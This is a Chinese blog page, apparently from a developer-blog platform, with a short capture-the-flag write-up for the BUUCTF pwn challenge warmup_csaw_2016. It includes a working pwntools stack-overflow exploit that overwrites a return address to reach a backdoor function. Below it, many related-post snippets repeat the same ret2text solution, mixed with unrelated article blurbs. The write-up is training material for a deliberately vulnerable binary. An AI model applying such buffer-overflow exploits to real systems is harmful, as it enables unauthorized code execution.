墨衍会员
·
AI 创作全网分发
墨衍智能分发
本文由作者通过墨衍一键同步至各平台
1分发平台
500+累计阅读
550平均单平台
已同步平台
优快云
微信公众号
微博
知乎
掘金
百家号
博客园
抖音
小红书
你的文章也可以这样分发
墨衍会员 ¥399起/年，写一次发全网
我也要
64位/没有保护
明显的溢出函数gets()
跟进v5看看
offset = 0x40+8
shift+f12
真不错,cat flag.txt
找它的地址
from pwn import*
#p=process('./3warmup')
p=remote("node4.buuoj.cn",28180)
flag_addr=0x400611
payload=b'a'*(0x40+8)+p64(flag_addr)
p.sendline(payload)
p.interactive()
新手也能秒懂：从BUUCTF的warmup_csaw_2016看PWN栈溢出的‘傻瓜式’利用
本文通过BUUCTF的warmup_csaw_2016题目，详细解析了PWN栈溢出的基础利用方法。从漏洞函数gets()到后门函数地址的获取，再到payload的构造与发送，手把手教你如何利用栈溢出漏洞获取flag。适合新手入门学习PWN技术。
warmup_csaw_2016
做了几道入门的题，从原来的柔弱蚂蚁到现在稍稍强壮的蚂蚁，我决定实施菜狗子计划，让蚂蚁继续进化。题目中的思路很清晰，对于栈溢出，我们先判断是否有栈溢出的漏洞，之后去找系统调用的函数，然后查到他的地址，最后就是我们的代码构建了。偏移量的计算=（数组本身大小+对应位的偏移64位是ox8）然后加上我们系统调用函数的地址。...
【BUUCTF - PWN】warmup_csaw_2016
checksec一下，发现啥保护也没开 IDA打开看看，又是明显的栈溢出漏洞，看到v5的长度为0x40、后门函数的地址为0x40060d from pwn import * from LibcSearcher import * context.os='linux' context.arch='amd64' context.log_level='debug' sl=lambda x:io.s...
PWN学习记录（3）BUUCTF-warmup_csaw_2016
由**char v5[64]**可得，在main函数的栈帧中，划分了一个64字节的存储空间，也就是说只需要存入64个字节地址，就可以get函数返回地址。下载题目得到 warmup_csaw_2016，利用 file 命令查看该文件的类型，再通过checksec ./filename查看保护机制。将warmup_csaw_2016文件放入IDA中查看，打开字符串窗口。可得该文件是64位且该题任何保护都没有打开，所以我们可以实现最简单的栈溢出。将exp文件输入进1.py中，Esc+:wq保存并退出1.py。
BUUCTF-PWN题详解（warmup_csaw_2016&ciscn_2019_n_1）
在文章后面补充了栈的知识点，大佬们可以先看看然后再看题解。
0ctf_2016_warmup
2016年0ctf的pwn题。
[BUUCTF]PWN3——warmup_csaw_2016
[BUUCTF]3——warmup_csaw_2016 题目网址：https://buuoj.cn/challenges#warmup_csaw_2016 步骤： 例行检查，64位，没有开启任何保护 nc一下，看看输入点的字符串，看到回显了一个地址，之后让我们输入，输入完之后就退出了 用64位ida打开附件，首先shift+f12查看程序里的字符串，可以看到有一个“cat flag.txt”字符串引人注目 双击字符串跟进，ctrl+x查看哪个函数调用了这个字符串，找到函数后按f5反编译成我们熟悉的伪代
从零构建AI智能体：基于opencode框架的Agent开发全流程指南
AI智能体（AI Agent）作为人工智能领域的重要发展方向，正从概念走向工程实践。其核心原理在于赋予AI自主规划、执行和迭代的能力，使其不再局限于简单的问答，而是能够理解复杂目标、分解任务、调用工具并完成闭环。这一技术价值在于将AI从“对话伙伴”升级为“执行伙伴”，极大地拓展了自动化边界，在智能客服、数据分析、自动化运维等场景展现出巨大潜力。本文聚焦于如何利用opencode这一热门开发框架，快速构建具备实际能力的智能体。通过拆解其核心组件如技能库、规划器与运行时，并结合具体实践案例，系统阐述了从环境搭建
BUUCTF PWN wp--warmup_csaw_2016
这个数组在栈帧中的位置相对于基指针ebp是偏移量-40的地方（如果ebp指向栈帧的底部），这通常意味着它是函数中的一个局部变量。PIE（Position-Independent Executable）是一种安全特性，它使得程序的代码可以在内存中的任意位置加载，这样每次程序运行时地址空间布局都是随机的，增加了利用内存损坏漏洞的难度。在函数开始执行时，如果函数要使用某些寄存器，并且这些寄存器在调用者中之后还需要使用，那么这些寄存器的值需要在栈上保存，以便在函数返回前恢复。仅为个人理解，如有错误，请指正。
新手避坑指南：用COMSOL Multiphysics仿真气体放电（汤逊vs.流注）
本文详细介绍了使用COMSOL Multiphysics仿真气体放电的实战指南，涵盖汤逊理论和流注模型的实现方法。通过对比两种放电模型的关键参数和物理场配置，帮助新手避免常见错误，准确预测气体击穿过程。文章还提供了工程应用案例，如高压绝缘子设计优化，展示了仿真技术在电力设备绝缘设计中的实际价值。
五分钟搞懂游戏开发中的抗锯齿算法
常见抗锯齿算法总结锯齿由来抗锯齿算法SSAAMSAACSAA 锯齿由来 场景的定义在三维空间中是连续的，而最终显示的像素则是一个离散的二维数组，这是计算机屏幕产生锯齿的原因。在计算机处理图形的过程中（渲染管线了解一下），有一个非常重要的阶段，就是光栅化，光栅化主要的作用是将顶点数据的不连续性通过插值计算，将两个顶点之间不存在的点进行弥补，然后实现到屏幕像素点上的一一映射。如图，现在要在屏幕上绘制一...
[BUUCTF]pwn栏目 warmup_csaw_2016 1的题解和小疑问，欢迎讨论
[BUUCTF]pwn栏目 warmup_csaw_2016 1的题解和小疑问，欢迎讨论
Anaconda离线创建python环境
既然是离线创建python环境，就需要有一个已经创建好的python环境。所以我们有两台win10的机器，分别是A和B。两台机器都安装了anaconda。其中A可以连网，因此我们在A上创建好一个python2.7的环境py27，然后将py27移植（安装）到B上。B连不连网都无所谓。 一、机器上A上创建python2.7的环境py27 有两种方法： 方法1：使用Anaconda的图形界面。首先，点击Environments->Create，然后输入要创建的环境名称"py27"，然后选择2.7，如图
初学pwn-BUUCTF(warmup_csaw_2016)
初学pwn-writeUp BUUCTF的第三道题，warmup_csaw_2016。 首先链接远端， 发现这里输出了一个十六进制的数字，就没有了后续。我们下载文件，持用ida打开查看。 可以看到主函数这里上边全部都是输出，只有最后return的时候，有一个get命令，给v5这个数组进行赋值。从这里可以发信啊，刚刚输出的一个地址，是sub40060D这个函数的地址。点进去看一下。 哦吼，cat flag.txt，那没毛病了，只需要在主函数的get这产生栈溢出，覆盖掉返回的值，就可以执行这个函数，获取f
【PostgreSQL】Windows11下的PostgreSQL数据库安装tds_fdw扩展及使用（图文记录详细步骤）
【详解】【PostgreSQL】Windows11下的PostgreSQL数据库安装tds_fdw扩展及使用
【TC3xx芯片】TC3xx芯片UCB详解
TC3xx芯片UCB详解
新手也能懂的BUUCTF Warmup CSAW 2016题解：从IDA分析到Pwn工具实战
本文详细解析了BUUCTF Warmup CSAW 2016题目的解题过程，从IDA静态分析到pwntools实战利用。针对二进制漏洞利用（Pwn）初学者，提供了环境准备、漏洞定位、利用脚本编写及调试技巧的完整指南，帮助新手快速掌握CTF竞赛中的Pwn技术要点。
华为OD机试 - 猴子吃桃 - 二分查找（Java 新系统 100分）
每一题都有详细的答题思路、详细的代码注释、样例测试，发现新题目，随时更新，全天优快云在线答疑。
[每日一PWN]BUUCTF warmup_csaw_2016
和第一题RIP一样，是经典而基础的ret2text。
【即插即用模块】Transformer篇 | TCSVT 2025 | DAFM：双注意力聚合+反向跨模态筛选，特征精准捕捉并融合！
本文提出了一种双模态注意力融合模块(DAFM)，用于增强多模态图像融合任务中的特征交互。该模块通过双注意力聚合机制，结合自注意力与跨模态注意力，有效提升特征融合效果。DAFM采用可学习平衡因子动态调整注意力权重，并运用深度卷积降低计算复杂度。实验结果表明，该模块能显著提升多模态图像融合质量，适用于RGB-红外等双模态视觉任务。模块代码实现简洁，可直接集成到现有网络中作为特征融合层使用。
复分析 阿尔福斯(Ahlfors) 第三版答案 英文
答案分为十章，有部分习题没有答案，全英文复分析阿尔福斯(Ahlfors) 第三版答案
[BUUCTF-pwn]——warmup_csaw_2016
BUUCTF——warmup_csaw_2016 题目地址：https://buuoj.cn/challenges 题目： 管他三七二十一，先将文件下载下来再说。老规矩，现在Linux上用checksec看看文件。64位，Stack、NX、PIE都没有开，应该是栈溢出的题。 赶快 go go go 去window 上用IDA反汇编看看，看到返回的是gets函数，一个典型的可以利用栈溢出覆盖的地方。其他没什么有用的信息。 按Shift + F12，看一下字符串。不看不知道一看有惊喜。cat flag.
深度学习工具包 DeepLearningToolbox
深度学习工具包Deprecation notice.-----This toolbox is outdated and no longer maintained.There are much better tools available for deep learning than this toolbox, e.g. [Theano](http://deeplearning.net/software/theano/), [torch](http://torch.ch/) or [tensorflow](http://www.tensorflow.org/)I would suggest you use one of the tools mentioned above rather than use this toolbox.Best, Rasmus.DeepLearnToolbox================A Matlab toolbox for Deep Learning.Deep Learning is a new subfield of machine learning that focuses on learning deep hierarchical models of data.It is inspired by the human brain's apparent deep (layered, hierarchical) architecture.A good overview of the theory of Deep Learning theory is[Learning Deep Architectures for AI](http://www.iro.umontreal.ca/~bengioy/papers/ftml_book.pdf)For a more informal introduction, see the following videos by Geoffrey Hinton and Andrew Ng.* [The Next Generation of Neural Networks](http://www.youtube.com/watch?v=AyzOUbkUf3M) (Hinton, 2007)* [Recent Developments in Deep Learning](http://www.youtube.com/watch?v=VdIURAu1-aU) (Hinton, 2010)* [Unsupervised Feature Learning and Deep Learning](http://www.youtube.com/watch?v=ZmNOAtZIgIk) (Ng, 2011)If you use this toolbox in your research please cite [Prediction as a candidate for learning deep hierarchical models of data](http://www2.imm.dtu.dk/pubdb/views/publication_details.php?id=6284)```@MASTERSTHESIS\{IMM2012-06284, author = "R. B. Palm", title = "Prediction as a candidate for learning deep hierarchical models of data", year = "2012",}```Contact: rasmusbergpalm at gmail dot comDirectories included in the toolbox-----------------------------------`NN/` - A library for Feedforward Backpropagation Neural Networks`CNN/` - A library for Convolutional Neural Networks`DBN/` - A library for Deep Belief Networks`SAE/` - A library for Stacked Auto-Encoders`CAE/` - A library for Convolutional Auto-Encoders`util/` - Utility functions used by the libraries`data/` - Data used by the examples`tests/` - unit tests to verify toolbox is workingFor references on each library check REFS.mdSetup-----1. Download.2. addpath(genpath('DeepLearnToolbox'));Example: Deep Belief Network---------------------```matlabfunction test_example_DBNload mnist_uint8;train_x = double(train_x) / 255;test_x = double(test_x) / 255;train_y = double(train_y);test_y = double(test_y);%% ex1 train a 100 hidden unit RBM and visualize its weightsrand('state',0)dbn.sizes = [100];opts.numepochs = 1;opts.batchsize = 100;opts.momentum = 0;opts.alpha = 1;dbn = dbnsetup(dbn, train_x, opts);dbn = dbntrain(dbn, train_x, opts);figure; visualize(dbn.rbm{1}.W'); % Visualize the RBM weights%% ex2 train a 100-100 hidden unit DBN and use its weights to initialize a NNrand('state',0)%train dbndbn.sizes = [100 100];opts.numepochs = 1;opts.batchsize = 100;opts.momentum = 0;opts.alpha = 1;dbn = dbnsetup(dbn, train_x, opts);dbn = dbntrain(dbn, train_x, opts);%unfold dbn to nnnn = dbnunfoldtonn(dbn, 10);nn.activation_function = 'sigm';%train nnopts.numepochs = 1;opts.batchsize = 100;nn = nntrain(nn, train_x, train_y, opts);[er, bad] = nntest(nn, test_x, test_y);assert(er < 0.10, 'Too big error');```Example: Stacked Auto-Encoders---------------------```matlabfunction test_example_SAEload mnist_uint8;train_x = double(train_x)/255;test_x = double(test_x)/255;train_y = double(train_y);test_y = double(test_y);%% ex1 train a 100 hidden unit SDAE and use it to initialize a FFNN% Setup and train a stacked denoising autoencoder (SDAE)rand('state',0)sae = saesetup([784 100]);sae.ae{1}.activation_function = 'sigm';sae.ae{1}.learningRate = 1;sae.ae{1}.inputZeroMaskedFraction = 0.5;opts.numepochs = 1;opts.batchsize = 100;sae = saetrain(sae, train_x, opts);visualize(sae.ae{1}.W{1}(:,2:end)')% Use the SDAE to initialize a FFNNnn = nnsetup([784 100 10]);nn.activation_function = 'sigm';nn.learningRate = 1;nn.W{1} = sae.ae{1}.W{1};% Train the FFNNopts.numepochs = 1;opts.batchsize = 100;nn = nntrain(nn, train_x, train_y, opts);[er, bad] = nntest(nn, test_x, test_y);assert(er < 0.16, 'Too big error');```Example: Convolutional Neural Nets---------------------```matlabfunction test_example_CNNload mnist_uint8;train_x = double(reshape(train_x',28,28,60000))/255;test_x = double(reshape(test_x',28,28,10000))/255;train_y = double(train_y');test_y = double(test_y');%% ex1 Train a 6c-2s-12c-2s Convolutional neural network %will run 1 epoch in about 200 second and get around 11% error. %With 100 epochs you'll get around 1.2% errorrand('state',0)cnn.layers = { struct('type', 'i') %input layer struct('type', 'c', 'outputmaps', 6, 'kernelsize', 5) %convolution layer struct('type', 's', 'scale', 2) %sub sampling layer struct('type', 'c', 'outputmaps', 12, 'kernelsize', 5) %convolution layer struct('type', 's', 'scale', 2) %subsampling layer};cnn = cnnsetup(cnn, train_x, train_y);opts.alpha = 1;opts.batchsize = 50;opts.numepochs = 1;cnn = cnntrain(cnn, train_x, train_y, opts);[er, bad] = cnntest(cnn, test_x, test_y);%plot mean squared errorfigure; plot(cnn.rL);assert(er<0.12, 'Too big error');```Example: Neural Networks---------------------```matlabfunction test_example_NNload mnist_uint8;train_x = double(train_x) / 255;test_x = double(test_x) / 255;train_y = double(train_y);test_y = double(test_y);% normalize[train_x, mu, sigma] = zscore(train_x);test_x = normalize(test_x, mu, sigma);%% ex1 vanilla neural netrand('state',0)nn = nnsetup([784 100 10]);opts.numepochs = 1; % Number of full sweeps through dataopts.batchsize = 100; % Take a mean gradient step over this many samples[nn, L] = nntrain(nn, train_x, train_y, opts);[er, bad] = nntest(nn, test_x, test_y);assert(er < 0.08, 'Too big error');%% ex2 neural net with L2 weight decayrand('state',0)nn = nnsetup([784 100 10]);nn.weightPenaltyL2 = 1e-4; % L2 weight decayopts.numepochs = 1; % Number of full sweeps through dataopts.batchsize = 100; % Take a mean gradient step over this many samplesnn = nntrain(nn, train_x, train_y, opts);[er, bad] = nntest(nn, test_x, test_y);assert(er < 0.1, 'Too big error');%% ex3 neural net with dropoutrand('state',0)nn = nnsetup([784 100 10]);nn.dropoutFraction = 0.5; % Dropout fraction opts.numepochs = 1; % Number of full sweeps through dataopts.batchsize = 100; % Take a mean gradient step over this many samplesnn = nntrain(nn, train_x, train_y, opts);[er, bad] = nntest(nn, test_x, test_y);assert(er < 0.1, 'Too big error');%% ex4 neural net with sigmoid activation functionrand('state',0)nn = nnsetup([784 100 10]);nn.activation_function = 'sigm'; % Sigmoid activation functionnn.learningRate = 1; % Sigm require a lower learning rateopts.numepochs = 1; % Number of full sweeps through dataopts.batchsize = 100; % Take a mean gradient step over this many samplesnn = nntrain(nn, train_x, train_y, opts);[er, bad] = nntest(nn, test_x, test_y);assert(er < 0.1, 'Too big error');%% ex5 plotting functionalityrand('state',0)nn = nnsetup([784 20 10]);opts.numepochs = 5; % Number of full sweeps through datann.output = 'softmax'; % use softmax outputopts.batchsize = 1000; % Take a mean gradient step over this many samplesopts.plot = 1; % enable plottingnn = nntrain(nn, train_x, train_y, opts);[er, bad] = nntest(nn, test_x, test_y);assert(er < 0.1, 'Too big error');%% ex6 neural net with sigmoid activation and plotting of validation and training error% split training data into training and validation datavx = train_x(1:10000,:);tx = train_x(10001:end,:);vy = train_y(1:10000,:);ty = train_y(10001:end,:);rand('state',0)nn = nnsetup([784 20 10]); nn.output = 'softmax'; % use softmax outputopts.numepochs = 5; % Number of full sweeps through dataopts.batchsize = 1000; % Take a mean gradient step over this many samplesopts.plot = 1; % enable plottingnn = nntrain(nn, tx, ty, opts, vx, vy); % nntrain takes validation set as last two arguments (optionally)[er, bad] = nntest(nn, test_x, test_y);assert(er < 0.1, 'Too big error');```[](https://bitdeli.com/free "Bitdeli Badge")
buuctf-pwn warmup_csaw_2016题解（自学过程持续更新）
本文记录了自学PWN3二进制漏洞利用的过程。通过checksec查看文件保护机制（64位，无栈保护/NX/PIE），使用IDA64分析发现gets函数存在无限制输入漏洞，并发现后门函数system("cat flag")。采用动态调试确定缓冲区偏移（64字节垃圾数据+8字节rbp覆盖），编写Python脚本用后门地址0x40060D覆盖返回地址，最终成功获取flag：CTF2{4a5d2a59-bc4d-4a50-8438-f486996346c1}。作者强调分析过程存在非专业之处，欢迎
廖雪峰Python教程[完整版]
廖雪峰的python教程整理的，已经排好版了，而且还是完整的，适合小白
VB摄像头监控
该VB模块可对摄像头捕获的画面进行录像等，可在创建的窗口进行控制
buuctf pwn warmup_csaw_2016
buuctf pwn warmup_csaw_2016 1.用checksec查看一下保护，保护都在关闭状态。 2.将文件拖入IDA64版本（在linux下用file命令查看是64位文件） 3.按fn+F5反汇编出现c的代码，发现return gets（v5），其是栈溢出的题目。 并且发现一个可疑函数sub_40060D 4.双击进去看发现flag文件。 5.去查看sub_40060D的地址是0x40060D。 6.由于char v5时有rbp-40h，则payload=b’a’*72+p64(0x400
BUUCTF pwn——warmup_csaw_2016
BUUCTF 做题练习
[BUUCTF-PWN] warmup_csaw_2016
3、双击后通过ctrl+x交叉引用，定位这个敏感字符串在sub_40060D这个地址函数中被调用。4、进一步跟踪该地址函数，发现该函数为后门函数，通过系统调用读取flag.txt。1、发现存在gets函数，可导致栈溢出漏洞，其中v5长度为0x40。2、通过shitf+F12发现敏感字符串：cat flag.txt。
BUUCTF PWN warmup_csaw_2016 wp
经过在左侧 Function name 中对调用函数的依次查找分析，不难发现在 sub_40060D 这个函数中出现了 system 命令的使用，因此我们只要利用gets函数使 system("cat flag.txt");对于gets函数的参数v5，可以发现其地址偏移量为40h，即64位，而rbp提示文件适配64位环境，那么rbp本身占8位，则总偏移量为 64+8 位；同时，sub_40060D 也提示 system 命令地址为0x40060D（不放心的话可以跳转到 sub_40060D 本身进行查看）
被折叠的 条评论
为什么被折叠?
到【灌水乐园】发言
489
扫一扫
